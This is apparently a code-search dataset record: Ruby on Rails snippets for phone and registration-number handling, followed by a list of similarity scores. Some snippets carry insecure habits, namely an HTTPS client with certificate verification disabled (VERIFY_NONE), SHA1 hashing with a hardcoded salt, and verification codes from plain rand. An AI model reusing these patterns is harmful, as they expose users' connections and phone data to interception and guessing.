{data: {output: output, request_id: id}}\n# response = gcm.send_notification(registration_ids, options)\n elsif params[:request][\"error\"].empty? == false and @request.status == \"active\"\n params[:request][\"num_errors\"] = params[:request][\"num_errors\"].to_i + 1\n r_num_errors = params[:request][\"num_errors\"] \n\n gcm = GCM.new(\"api_key\")\n options = {data: {error: @request.error, request_id: id}}\n response = gcm.send_notification(registration_ids, options)\n# \n if params[:request][\"num_errors\"] == @request.num_phones\n params[:request][\"status\"] = \"error\"\n status = \"error\"\n end\n end\n\n params[:request][:requester_device_ident] = @request.requester_device_ident\n params[:request][:intent_program] = @request.intent_program\n params[:request][:num_phones] = @request.num_phones\n params[:request][:num_errors] = r_num_errors\n params[:request][:status] = status\n\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n number = params[:user][:number]\n number = number.gsub(\" \", \"\")\n number = number.gsub(\"(\", \"\")\n number = number.gsub(\")\", \"\")\n number = number.gsub(\"+\", \"\")\n number = number.gsub(\"[\", \"\")\n number = number.gsub(\"]\", \"\")\n number = number.gsub(\".\", \"\")\n number = number.gsub(\",\", \"\")\n number = number.gsub(\"-\", \"\")\n number = number.gsub(\"_\", \"\")\n number.strip!\n\n full_number = \"+1#{number}\"\n encrypted_number = Digest::SHA1.hexdigest(\"#{full_number}sm1thsbeach_21_wls\")\n @user = User.find_or_initialize_by_number(encrypted_number)\n\n if @user.save\n \n verify_code = rand(10**6) \n session[:verify_code] = verify_code\n session[:saved_number] = full_number\n session[:logged_in] = false\n\n @info_msg = Kptwilio.new(full_number, \"+12052676367\", \"Well hello. Verify your number using this code:\\n\\n#{verify_code}\")\n @info_msg.send\n\n redirect_to verify_url\n\n else \n \n verify_code = rand(10**12)\n session[:verify_code] = verify_code\n session[:saved_number] = 500\n session[:logged_in] = false\n\n format.html { render action: \"index\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n\n end\n\n end", "def register_number(message,sms_number)\n chopped_message = message.gsub(/^\\s*reg\\s/i,'').split(\"\\s\")\n $stderr.puts chopped_message\n # check that it is length 2\n send_try_again_sms(sms_number) if chopped_message.length != 2\n register_number = chopped_message.grep(/\\d+/)\n #TODO - could make this more robust and allow for +88 too\n if register_number[0].length != 11 and register_number.grep(/^\\+1/).length != 1 #length of phone numbers in bangladesh\n send_try_again_sms(sms_number,\n \" The phone number should be 11 digits long\")\n return nil\n end\n\n register_name = chopped_message.grep(/[a-zA-Z]+/)\n\n if register_name.length == 1 and register_number.length == 1\n $stderr.puts \"meets field register reqs\"\n field_register_pharmacy(register_number,register_name,sms_number)\n else\n send_try_again_sms(sms_number)\n end\n return nil\nend", "def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n\n numbers = Bandwidth::AvailableNumber.search_local({:area_code => @number.area_code[1..3]})\n \n if numbers.count > 0\n # buy the phone number\n number = Bandwidth::PhoneNumber.create({:number => numbers[0][:number], :applicationId => ENV[\"BANDWIDTH_APP_ID\"]})\n\n # assign the phone number to your app id\n @number.tracking_number = number.number\n @number.bw_id = number.id\n \n end\n\n rescue StandardError => e\n puts \"ERROR: \"+e.message\n raise \"There was a problem setting up your number. Try again.\" \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @course_registration_param_sets = params[:registration].delete(:course_registrations)\n @registration = Registration.new(params[:registration])\n\n respond_to do |format|\n if @registration.save\n # @course_registration_param_sets.each do |course_registration_params|\n # CourseRegistration.create!(course_registration_params)\n # end\n flash[:notice] = 'Thank you for registering!'\n format.html { redirect_to(@registration) }\n format.xml { render :xml => @registration, :status => :created, :location => @registration }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def south_african_trust_registration_number\n generate(:string) do |g|\n g.lit('IT')\n g.int(ranges: [10..9999])\n g.lit('/')\n g.int(ranges: [10..9_999_999_999])\n end\n end", "def south_african_trust_registration_number; end", "def create\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.new(params[:outgoing_sms_number_group])\n\n respond_to do |format|\n if @outgoing_sms_number_group.save\n flash[:notice] = 'OutgoingSmsNumberGroup was successfully created.'\n format.html { redirect_to(@outgoing_sms_number_group) }\n format.xml { render :xml => @outgoing_sms_number_group, :status => :created, :location => @outgoing_sms_number_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outgoing_sms_number_group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @registration_number.destroy\n respond_to do |format|\n format.html { redirect_to registration_numbers_url, notice: 'Registration number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def post_register(params)\n form = MHVAC::RegistrationForm.new(params)\n perform(:post, 'account/register', form.mhv_params, nonauth_headers).body\n end", "def phone_numbers\n xml.css('phone_number').map{|c| Allorails::PhoneNumber.new(c)}\n end", "def register\n # Grab the facts for this node\n facts = MK.node.facts\n hw_id = MK.node.hw_id\n\n # Format the body of our register as a JSON message\n data = { 'hw_id' => hw_id, 'facts' => facts }.to_json\n\n # Grab our user agent header.\n user_agent = MK.node.user_agent\n\n # Build our headers for the request.\n headers = {\n 'Content-Type' => 'application/json',\n 'User-Agent' => user_agent\n }\n\n # Send our RPC registration command to the server; this will raise if\n # something goes wrong in the submission process.\n result = MK.server.send_register(data, headers)\n\n # Dispatch the command we received, unless there is none...\n execute(result['action']) unless result['action'] == 'none'\n\n # ...and we are good.\n return true\n end", "def create\n\t\tapi_response = FaxNumber.provision(provision_number_params[:area_code])\n\t\tif api_response.phone_number\n\t\t\tFaxNumber.create!(fax_number: api_response.phone_number, has_webhook_url: false, org_switched_at: Time.now)\n\t\t\tflash[:notice] = \"Fax number provisioned successfully. Your new number is #{FaxNumber.format_pretty_fax_number(api_response.phone_number)}.\"\n\n\t\t\t# Adds fax number to the organization immediately \n\t\t\tif provision_number_params[:organization_id]\n\t\t\t\tnumber = FaxNumber.find_by(fax_number: api_response.phone_number)\n\t\t\t\tnumber.update_attributes(organization_id: provision_number_params[:organization_id])\n\t\t\t\tredirect_to organization_path(provision_number_params[:organization_id])\n\t\t\telse\n\t\t\t\tredirect_to fax_numbers_path\n\t\t\tend\n\t\telse\n\t\t\tflash[:alert] = \"Something went wrong\"\n\t\t\trender :new\n\t\tend\n\tend", "def add_batch_recipients(number_of_recipients=10)\n #dummy_email_addresses = [\"test1@sink.sendgrid.net\",\"test2@sink.sendgrid.net\",\"test3@sink.sendgrid.net\"]\n dummy_email_addresses = generate_random_email_addresses(number_of_recipients)\n email_array_batch_input = create_email_list_for_batch_recipient_add(dummy_email_addresses)\n payload = email_array_batch_input.to_json\n puts \"adding recipients to db from #{payload}\"\n url = \"#{@goseg_base_url}/recipients_batch\"\n res = RestClient.post(url,payload){|response, request, result| response }\n return res\n end", "def listed_company_registration_number; end", "def data_providers_id_register_post_with_http_info(id, multi_registration_mod_req, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataProvidersApi.data_providers_id_register_post ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DataProvidersApi.data_providers_id_register_post\"\n end\n # verify the required parameter 'multi_registration_mod_req' is set\n if @api_client.config.client_side_validation && multi_registration_mod_req.nil?\n fail ArgumentError, \"Missing the required parameter 'multi_registration_mod_req' when calling DataProvidersApi.data_providers_id_register_post\"\n end\n # resource path\n local_var_path = '/data_providers/{id}/register'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(multi_registration_mod_req)\n auth_names = ['BrainPortalSession']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RegistrationInfo')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataProvidersApi#data_providers_id_register_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def incoming\n from = params[\"From\"]\n\n if Number.find_by(number: from).blank?\n Number.create(number:from)\n end\n\n number = Number.find_by(number: from)\n\n if number.user.blank? && number.skip_sign_up == false\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"If you would like to register your name so we can give you credit for your pictures, send a text with 'Register' followed by your name :)\"\n )\n\n number.update(skip_sign_up: true)\n end\n body = params[\"Body\"]\n split = body.split(\" \")\n\n if split[0]&.downcase == 'register'\n if number.user.blank?\n User.create(\n name: split.drop(1).join(\" \"),\n number: number\n )\n\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"Successfully registered #{from} to #{number.user.name}\"\n )\n elsif number.user.present?\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"#{from} is already registered to #{number.user.name}. Text William @ 4046801732 if this isn't right.\"\n )\n end\n elsif params[\"MediaUrl0\"].present?\n Pic.create(\n number: number,\n description: params[\"Body\"],\n path: params[\"MediaUrl0\"]\n )\n reply_body = \"Thanks for for sending the pics of the party!\"\n if number.user.present?\n reply_body = \"#{number.user.name}, Thanks for sending pics!\"\n end\n\n from_number = params[\"From\"]\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from_number,\n body: reply_body\n )\n end\n end", "def create\n @phone_num = PhoneNum.new(phone_num_params)\n\n respond_to do |format|\n if @phone_num.save\n format.html { redirect_to @phone_num, notice: 'Phone num was successfully created.' }\n format.json { render :show, status: :created, location: @phone_num }\n else\n format.html { render :new }\n format.json { render json: @phone_num.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @num = Num.new(num_params)\n\n respond_to do |format|\n if @num.save\n format.html { redirect_to @num, notice: \"Num was successfully created.\" }\n format.json { render :show, status: :created, location: @num }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @num.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @call_num = CallNum.new(params[:call_num])\n\n respond_to do |format|\n if @call_num.save\n flash[:success] = 'Call number was successfully created.'\n format.html { redirect_to add_details_path }\n format.xml { render :xml => @call_num, :status => :created, :location => @call_num }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call_num.errors, :status => :unprocessable_entity }\n end\n end\n end", "def finish_registration\n sp = SetupParams.find(get_sp)\n user = current_user\n if user.nil?\n user = User.new(sp.user)\n user.setup_flag = true\n user.save(false)\n UserSession.create(user)\n end\n group = Group.new(sp.group)\n group.user_id = user.id\n group.expiration_date = Time.now + 7.days\n group.save\n if params[:from_facebook]\n data1 = current_fb_session(sp.access_token).me\n type = 'large'\n begin\n group.picture_from_url(\"https://graph.facebook.com/#{data1.id}/picture?type=#{type}\")\n rescue\n end\n else\n if !sp.fb_ids.nil? and !sp.fb_ids['0'].nil?\n type = 'large'\n begin\n group.photo = group.picture_from_url(\"https://graph.facebook.com/#{sp.fb_ids['0']}/picture?type=#{type}\")\n rescue\n end \n else\n begin\n group.photo = TempImage.find(sp.photo_id.to_i).photo\n TempImage.destroy(sp.photo_id.to_i)\n rescue\n end\n end\n end\n group.save\n Emailer.deliver_user_credentials(user.groups.current_group, user)\n preference = Preference.new(sp.preference)\n preference.group_id = group.id\n preference.save\n 0.upto(group.size - 2) do |n|\n member = Member.new(sp.members[n.to_s])\n if params[:from_facebook]\n type = 'large'\n \tbegin\n \t data = sp.fb_ids[n.to_s]\n \trescue\n \t data = nil\n \tend\n if !data.nil?\n member.picture_from_url(\"https://graph.facebook.com/#{data['fbid']}/picture?type=#{type}\")\n end\n end\n member.save\n Membership.create(:group_id => group.id, :user_id => user.id, :member_id => member.id, :token => Digest::SHA1.hexdigest([Time.now, rand].join)[1..20])\n Emailer.deliver_group_members(member, user, user.groups.current_group)\n sleep(0.02)\n end\n session.delete :mpos\n session.delete :sp_id\n session.delete :reg_flow\n sp.destroy\n redirect_to congrats_users_url\n end", "def register\n if params[:id]\n user = User.find(params[:id])\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n normalized_mobile_number = PhoneHandling.normalize_phone_number(params[:mobile_number])\n if user = User.find_by_mobile_number(normalized_mobile_number)\n user.status = :active\n user.app_version = params[:v]\n params[:first_name] and user.first_name = params[:first_name]\n params[:last_name] and user.last_name = params[:last_name]\n user.save!\n # Let's check the Notifications to see if this user has been invited...\n elsif n = Notification.to_number(normalized_mobile_number).first\n user = n.recipient\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n # Create a new user\n user = User.create!(params.only(\"first_name\",\"last_name\",\"mobile_number\").merge(:status => :active,:app_version => params[:v]) )\n end\n end\n set_and_cookie_current_user(user)\n render :json => user.attributes_for_app\n end", "def registration_params\n params.require(:registration).permit(:colonist_name, :colonist_age, :colonist_birtday, :colonist_gender, :colonist_dni, :colonist_address, :colonist_telephone, :colonist_email, :colonist_school_name, :colonist_grade, :colonist_school_address, :colonist_school_phone, :colonist_medical_insurance, :colonist_trauma, :colonist_surgery, :colonist_illness_asthma, :colonist_illness_allergy, :colonist_illness_heart_failure, :colonist_illness_diabetes, :colonist_illness_other, :colonist_medical_observation, :colonist_doctor, :colonist_know_swim, :colonist_swim_school, :colonist_swim_leave_reasons, :how_know_us, :parents_relation, :father_name, :father_age, :father_lives, :father_visit, :father_email, :father_profession, :father_work_phone, :mother_name, :mother_age, :mother_lives, :mother_visit, :mother_email, :mother_profession, :mother_work_phone, :who_register, :i_attest, :group_id, :admission)\n end", "def new\n @phone_number = @kontact_information.phone_numbers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.mobile\n format.xml { render :xml => @phone_number }\n end\n end", "def create\n @identity = Identity.new(identity_params)\n @identity['uuid'] = UUIDTools::UUID.random_create\n @identity['token'] = UnixCrypt::SHA256.build(@identity['token'])\n respond_to do |format|\n if @identity.save\n qrcode_content = \"http://3.128.155.87:3003/identities/s/\" + @identity.uuid\n qrcode = RQRCode::QRCode.new(qrcode_content, level: :m, size: 5)\n code = qrcode.as_svg(\n offset: 0,\n color: '000',\n shape_rendering: 'crispEdges',\n module_size: 11,\n standalone: true\n )\n IO.binwrite('app/assets/images/' + @identity.uuid+ '.svg', code.to_s ) \n url = \"/identities/s/\"+@identity['uuid']\n format.html { redirect_to url, notice: \"Identity was successfully created.\" }\n format.json { render :show, status: :created, location: @identity }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @identity.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @registration_requests = RegistrationRequest.all\n\n render json: @registration_requests\n end", "def create\n @registration = Registration.new(registration_params)\n @registration.student_id = current_user.tec_id\n @registration.approved = false\n @registration.date = DateTime.current\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to completed_registration_path(@registration.id), notice: 'Registration was successfully created.' }\n format.json { render :completed, status: :created, location: @registration }\n else\n format.html { render :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tracking_number(number)\n root << element_with_value('TrackingNumber', number)\n end", "def reserveNode(node_ids,account_name,valid_from,valid_until)\n cert_path = APP_CONFIG['cert_path']\n # resernation_name: we set a random name for every reservation constructing by the name of the slice and a random number ex user1/12341234 \n resernation_name =account_name+ \"/\" + (1000 + Random.rand(10000000)).to_s\n puts resernation_name\n \n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n\n node_ids.map!{|r| {uuid: r}}\n\n header = {\"Content-Type\" => \"application/json\"}\n options ={\n name: resernation_name,\n valid_from: valid_from,\n valid_until: valid_until,\n account: \n { \n name: account_name\n },\n components: node_ids\n }\n\n #puts options.to_json \n uri = URI.parse(broker_url+\"/resources/leases\")\n pem = File.read(cert_path)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.cert = OpenSSL::X509::Certificate.new(pem)\n http.key = OpenSSL::PKey::RSA.new(pem)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(uri.request_uri, header)\n request.body = options.to_json\n\n response = http.request(request)\n \n res = JSON.parse(response.body)\n \n if response.header.code != '200'\n puts \"Something went wrong\"\n puts response \n puts res[\"exception\"][\"reason\"]\n return res[\"exception\"][\"reason\"]\n else\n return \"OK\"\n end\n \n end", "def create\n megam_rest.post_node(to_hash)\n end", "def create\n @numerador = Numerador.new(params[:numerador])\n\n respond_to do |format|\n if @numerador.save\n format.html { redirect_to(@numerador, :notice => 'Numerador was successfully created.') }\n format.xml { render :xml => @numerador, :status => :created, :location => @numerador }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @numerador.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @number = Number.new(params[:number])\n\n respond_to do |format|\n if @number.save\n format.json { render json: @number, status: :created } \n else\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_params\n params.require(:registration).permit(:is_paid, :shirt_size, :name, :subtype, :phone, :email, registration_members_attributes: [:id, :name, :email, :phone, :_destroy, :shirt_size])\n end", "def create\n @picture_number = PictureNumber.new(picture_number_params)\n\n respond_to do |format|\n if @picture_number.save\n format.html { redirect_to @picture_number, notice: 'Picture number was successfully created.' }\n format.json { render :show, status: :created, location: @picture_number }\n else\n format.html { render :new }\n format.json { render json: @picture_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_params\n params[:registration]\n end", "def registration_params\n params.require(:registration)\n .permit(:nickname, :first, :middle, :last,\n :relation, :status, :house_id)\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @phone_number = PhoneNumber.new(params[:phone_number])\n\n respond_to do |format|\n if @phone_number.save\n flash[:notice] = 'PhoneNumber was successfully created.'\n format.html { redirect_to(@phone_number) }\n format.xml { render :xml => @phone_number, :status => :created, :location => @phone_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @phone_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration = current_friend.registrations.new(registration_params)\n if @registration.save\n case params['payment_method']\n when \"Paypal\"\n redirect_to @registration.paypal_url(registration_path(@registration))\n end\n FriendCardNotifier.new_friends_card_purchase_notification(@friend, @registration,).deliver_later\n else\n render :new\n end\n end", "def create\n flash[:notice] = 'The phone number was successfully added.' if phone_number.save\n respond_with(phone_number)\n end", "def create_registration_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAaaApi.create_registration_token ...'\n end\n # resource path\n local_var_path = '/aaa/registration-token'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RegistrationToken')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAaaApi#create_registration_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def register_sale_mq\n body = CGI::parse(request.body.read)\n data = { 'payload' => body['payload'][0] }\n RegisterSale.new(data).create\n respond_with({}, :location => nil, :status => 200)\n end", "def create\n @add_phone_to_nouveau_ticket = AddPhoneToNouveauTicket.new(params[:add_phone_to_nouveau_ticket])\n\n respond_to do |format|\n if @add_phone_to_nouveau_ticket.save\n format.html { redirect_to @add_phone_to_nouveau_ticket, notice: 'Add phone to nouveau ticket was successfully created.' }\n format.json { render json: @add_phone_to_nouveau_ticket, status: :created, location: @add_phone_to_nouveau_ticket }\n else\n format.html { render action: \"new\" }\n format.json { render json: @add_phone_to_nouveau_ticket.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6318721", "0.61666036", "0.58160335", "0.5770177", "0.568772", "0.5672143", "0.56667924", "0.55571985", "0.5534425", "0.55306256", "0.5525559", "0.549139", "0.5455797", "0.5386861", "0.53574884", "0.5356498", "0.532488", "0.5319848", "0.5310284", "0.52507955", "0.52374285", "0.5234022", "0.5227709", "0.51802176", "0.51565045", "0.5140664", "0.5132232", "0.51226443", "0.50870246", "0.5066093", "0.50643253", "0.5049068", "0.5038174", "0.503147", "0.502051", "0.50180453", "0.5015818", "0.5004919", "0.4993712", "0.4991676", "0.49683073", "0.49586853", "0.49582028", "0.49576336", "0.49558875", "0.49485666", "0.49354014", "0.4928517", "0.49207497", "0.49144033", "0.49142075", "0.49066967", "0.48970914", "0.48952907", "0.48785618", "0.48769158", "0.48764187", "0.48734528", "0.48730075", "0.48728856", "0.4872682", "0.48594773", "0.4858793", "0.48492664", "0.48438972", "0.484328", "0.4839119", "0.48376673", "0.48289257", "0.48285335", "0.48250693", "0.4824751", "0.4821596", "0.48179287", "0.4803978", "0.4803104", "0.47935563", "0.47934493", "0.4777227", "0.47767612", "0.4774236", "0.47694284", "0.47665787", "0.47586483", "0.47568086", "0.47559154", "0.4755196", "0.47521487", "0.47510195", "0.47470465", "0.4734805", "0.47347698", "0.47301325", "0.4728082", "0.47278628", "0.472634", "0.4721653", "0.47198108", "0.47149044", "0.47122046" ]
0.6672994
0
PUT /moto_registration_numbers/1 PUT /moto_registration_numbers/1.xml
def update @moto_registration_number = MotoRegistrationNumber.find(params[:id]) respond_to do |format| if @moto_registration_number.update_attributes(params[:moto_registration_number]) format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @registration_number = RegistrationNumber.find(params[:id])\n\n respond_to do |format|\n if @registration_number.update_attributes(params[:registration_number])\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_registration_number\n @registration_number = RegistrationNumber.find(params[:id])\n end", "def create\n @moto_registration_number = MotoRegistrationNumber.new(params[:moto_registration_number])\n\n respond_to do |format|\n if @moto_registration_number.save\n format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully created.') }\n format.xml { render :xml => @moto_registration_number, :status => :created, :location => @moto_registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n respond_to do |format|\n if @registration_number.update(registration_number_params)\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration_number }\n else\n format.html { render :edit }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n @moto_registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def update number, routes\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/tns/{number}\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n \"number\" => number,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"Flowroute SDK 1.0\",\r\n \"content-type\" => \"application/json; charset=utf-8\"\r\n }\r\n\r\n response = CustomAuthUtility.append_custom_auth_params method:'PATCH',\r\n query_url:query_url,\r\n body:\"{\\\"routes\\\": #{routes.to_json}}\",\r\n headers:headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new \"NOT AUTHORIZED\", 401, response.raw_body\r\n elsif response.code == 500\r\n raise APIException.new \"APPLICATION/SERVER ERROR\", 500, response.raw_body\r\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def update\n p = params[:node_registration]\n @registration = NodeRegistration.find(params[:id])\n if permitted_to?(:set_owner, @registration)\n @registration.owner_id = p[:owner_id]\n else\n @registration.owner = current_user\n end\n @registration.updater = current_user\n\n respond_to do |format|\n if @registration.update_attributes(latitude: p[:latitude],longitude: p[:longitude],\n operator_name: p[:operator_name], operator_email: p[:operator_email],\n name: p[:name], node_at: p[:node_at],notice: p[:notice],\n loc_str: p[:loc_str], osm_loc: p[:osm_loc])\n \n format.html { redirect_to nodes_path, notice: 'Registrierung erfolgreich gespeichert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @registration_number = RegistrationNumber.new(params[:registration_number])\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully created.') }\n format.xml { render :xml => @registration_number, :status => :created, :location => @registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @moto_registration_number = MotoRegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def create\n @patientregistration_data = PatientregistrationData.new(params[:patientregistration_data])\n\n respond_to do |format|\n if @patientregistration_data.save\n\t\t@n=Number.find_by_names(\"reciept\")\n\t\t@n.value=@patientregistration_data.reciept_no\n\t\t@n.update_attributes(params[:n])\n format.html { redirect_to(\"http://localhost:3000/patientregistration_datas/new\") }\n format.xml { render :xml => @patientregistration_data, :status => :created, :location => @patientregistration_data }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @patientregistration_data.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def show\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def update\n @request = Request.find(params[:id])\n\n registration_ids = []\n\n PhoneRegistration.all.each { |p|\n if p.device_ident == @request.requester_device_ident\n registration_ids = [p.registration_ident]\n break\n end\n }\n\n if registration_ids == []\n raise Exception, \"No matching registration id for device id\"\n end\n\n id = params[:id]\n r_num_errors = @request.num_errors\n params[:request][\"num_errors\"] = @request.num_errors\n status = @request.status\n\n if params[:request][\"output\"].empty? == false and @request.status = \"active\"\n params[:request][\"status\"] = \"success\"\n status = params[:request][\"status\"]\n output = params[:request][\"output\"]\n\n gcm = GCM.new(\"api_key\")\n options = {data: {output: output, request_id: id}}\n# response = gcm.send_notification(registration_ids, options)\n elsif params[:request][\"error\"].empty? == false and @request.status == \"active\"\n params[:request][\"num_errors\"] = params[:request][\"num_errors\"].to_i + 1\n r_num_errors = params[:request][\"num_errors\"] \n\n gcm = GCM.new(\"api_key\")\n options = {data: {error: @request.error, request_id: id}}\n response = gcm.send_notification(registration_ids, options)\n# \n if params[:request][\"num_errors\"] == @request.num_phones\n params[:request][\"status\"] = \"error\"\n status = \"error\"\n end\n end\n\n params[:request][:requester_device_ident] = @request.requester_device_ident\n params[:request][:intent_program] = @request.intent_program\n params[:request][:num_phones] = @request.num_phones\n params[:request][:num_errors] = r_num_errors\n params[:request][:status] = status\n\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def setRegistrationId\n if (params.has_key?(:device_uid) && params.has_key?(:regid))\n device = Device.find_by_uuid(params[:device_uid])\n device.gcm_id = params[:regid]\n device.save\n render status: 200, text: \"\"\n else\n render status: 400, text: \"\"\n end\n end", "def update\n @registration_request = RegistrationRequest.find(params[:id])\n\n if 